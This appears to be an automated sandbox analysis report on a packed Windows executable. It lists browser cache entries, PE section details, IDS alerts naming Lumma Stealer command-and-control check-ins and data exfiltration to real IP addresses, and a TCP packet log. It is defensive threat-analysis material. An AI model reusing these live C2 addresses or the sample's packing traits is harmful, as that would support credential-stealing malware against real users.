SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195740
Entropy (8bit):	5.430025391478659
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli/:Wof3G0NSkNzMeO7z/l3l2
MD5:	D82F4F5987237E395E490E03D4BE6149
SHA1:	5AC34F59A61D63992B9E879641E4BE0B0EC102E2
SHA-256:	27D8C10911B83F10EB6D8CA6AFE8CFD930F2310D3970B50DBADFC5777D1AA6B2
SHA-512:	33E2378B78FFD3E5C9D101CEFAC955D245F693868BB73DAC536D508B85154C0A531C0AE03F838F924F7AB420E3B5C0D9F7FD7A3A62E9E8994E883658D67B169C
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.501328710128359
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GnHq2ZaBUl.exe
File size:	2'912'768 bytes
MD5:	570eac129387ce77ceec28b6876407f5
SHA1:	148d538f8b8cb159cb949cedb5eda01c78133d95
SHA256:	75579361b244be86a404677b62135d44d6f1e2fa1619a6f3a9030955fd0fc218
SHA512:	b65dc9596e1a6265bd46cc6914f3d969db8e33a35e9f11096eb64ed7a226476ef5cb7b40059971a8ef0c6b807f65d5c95ccae5e795382b0fabb98e9b3746d9fe
SSDEEP:	49152:JlqLHQMTg+ArhpWTTtY/y80TpD8w1DyhuTD:JlqLwMTg+ArhSTtYie6yhu3
TLSH:	46D54BA2B807B1CFC48A1BFD9657DD836DBD03BD472448C3A858647A7E67CC116B6C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig.............................@/...........@..........................p/.......,...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6f4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3DA061EBBAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	aaee5f3eb60bedd1d87f79301c3fafe3	False	0.9995978860294118	data	7.986701846283584	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wudelijl	0x55000	0x29e000	0x29d600	d423aa7e6f6eca14eb5d6278be5fe078	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kmxeokrw	0x2f3000	0x1000	0x400	fef77b67544e70a1cd2c6b44f9ad3970	False	0.755859375	data	5.9999422898774455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f4000	0x3000	0x2200	e1dbd43b73708e12cf01b6403eaecff3	False	0.0646829044117647	DOS executable (COM)	0.7927055358332421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T09:07:33.312785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T09:07:34.078635+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T09:07:34.078635+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T09:07:35.458511+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T09:07:36.270363+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T09:07:36.270363+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T09:07:37.910607+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T09:07:38.878868+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T09:07:40.256757+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T09:07:42.750349+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.11.101	443	TCP
2024-12-27T09:07:45.725804+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.11.101	443	TCP
2024-12-27T09:07:48.277574+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	104.21.11.101	443	TCP
2024-12-27T09:07:48.282249+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49710	104.21.11.101	443	TCP
2024-12-27T09:07:53.284772+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49721	104.21.11.101	443	TCP
2024-12-27T09:07:54.056919+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49721	104.21.11.101	443	TCP
2024-12-27T09:07:55.558600+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49728	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 09:07:27.024647951 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:07:27.071608067 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:07:27.274687052 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:07:32.081660032 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:32.081717968 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:32.081832886 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:32.083224058 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:32.083234072 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:33.312674999 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:33.312784910 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:33.317816019 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:33.317832947 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:33.318170071 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:33.368340969 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:33.404812098 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:33.404855967 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:33.405077934 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:34.078643084 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:34.078733921 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:34.078898907 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:34.081186056 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:34.081217051 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:34.081233025 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:34.081238985 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:34.090698004 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:34.090768099 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:34.090914965 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:34.091290951 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:34.091305017 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:35.458353043 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:35.458511114 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:35.550707102 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:35.550740957 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:35.551022053 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:35.553253889 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:35.553286076 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:35.553334951 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.270364046 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.270420074 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.270450115 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.270490885 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.270505905 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.270519018 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.270529985 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.270539999 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.270572901 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.270586967 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.278704882 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.278808117 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.278815031 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.295377016 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.295444965 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.295461893 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.337110996 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.389898062 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.430815935 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.430838108 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.477700949 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.480994940 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.484549046 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.484631062 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.484639883 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.484653950 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.484714985 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.484879017 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.484893084 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.484908104 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.484913111 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.636250973 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:07:36.680820942 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:07:36.697196007 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.697254896 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.697334051 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.698435068 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:36.698455095 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:36.883986950 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:07:37.910393000 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:37.910607100 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:37.912003994 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:37.912015915 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:37.912252903 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:37.913580894 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:37.913810968 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:37.913832903 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:38.878789902 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:38.878889084 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:38.878948927 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:38.879128933 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:38.879156113 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:38.997473001 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:38.997523069 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:38.997627020 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:38.998074055 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:38.998090982 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:39.284964085 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 09:07:39.285263062 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 09:07:40.256671906 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:40.256757021 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:40.258244991 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:40.258261919 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:40.258543968 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:40.259886980 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:40.260031939 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:40.260083914 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:40.260529995 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:40.260545015 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:41.313951969 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:41.314048052 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:41.314163923 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:41.314390898 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:41.314413071 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:41.491442919 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:41.491493940 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:41.491580009 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:41.491971970 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:41.491985083 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:42.750200987 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:42.750349045 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:42.752216101 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:42.752243042 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:42.752449036 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:42.753657103 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:42.753815889 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:42.753849983 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:42.753922939 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:42.753937960 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:43.769687891 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:43.769784927 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:43.769886971 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:43.770114899 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:43.770137072 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:44.405023098 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:44.405075073 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:44.405162096 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:44.405518055 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:44.405525923 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:45.725665092 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:45.725804090 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:45.727464914 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:45.727477074 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:45.727730036 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:45.728961945 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:45.729049921 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:45.729063034 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:46.535597086 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:46.535689116 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:46.535783052 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:46.536068916 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:46.536092997 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:47.018116951 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:47.018177032 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:47.018253088 CET	49710	443	192.168.2.5	104.21.11.101
